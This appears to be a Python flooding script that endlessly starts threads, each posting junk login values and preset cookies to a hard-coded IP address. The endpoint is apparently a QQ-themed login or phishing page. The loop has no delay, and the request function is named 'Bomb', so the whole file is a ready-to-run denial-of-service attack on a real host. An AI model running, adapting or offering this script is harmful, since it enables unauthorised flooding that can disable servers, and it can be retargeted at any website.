import requests
import time
from threading import Thread

cookies = {
    'qq': '1212412',
    'qqpassword': '4121212',
    'PHPSESSID': '1qvpptuq17deg5ouolgpfclsj3',
    'userid': '0',
}

headers = {
    'Connection': 'keep-alive',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'Origin': 'http://103.123.163.223',
    'Upgrade-Insecure-Requests': '1',
    'Content-Type': 'application/x-www-form-urlencoded',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Referer': 'http://103.123.163.223/mail/tz/qq.php?userid=undefined^&channel=undefined^&legal=',
    'Accept-Language': 'zh-CN,zh;q=0.9',
}

data = {
    'u': '^',
    'p': '^',
    'p2': '12345678901^',
    'vcode_input': ''
}

def Bomb():
  print("正在发送请求")
  response = requests.post('http://103.123.163.223/mail/tz/qqjl.php', headers=headers, cookies=cookies, data=data, verify=False)
  print("请求发送完成")


while True:
  for n in range(15):
    BombTherad = Thread(target=Bomb)
    BombTherad.start()
    # time.sleep(0.1)
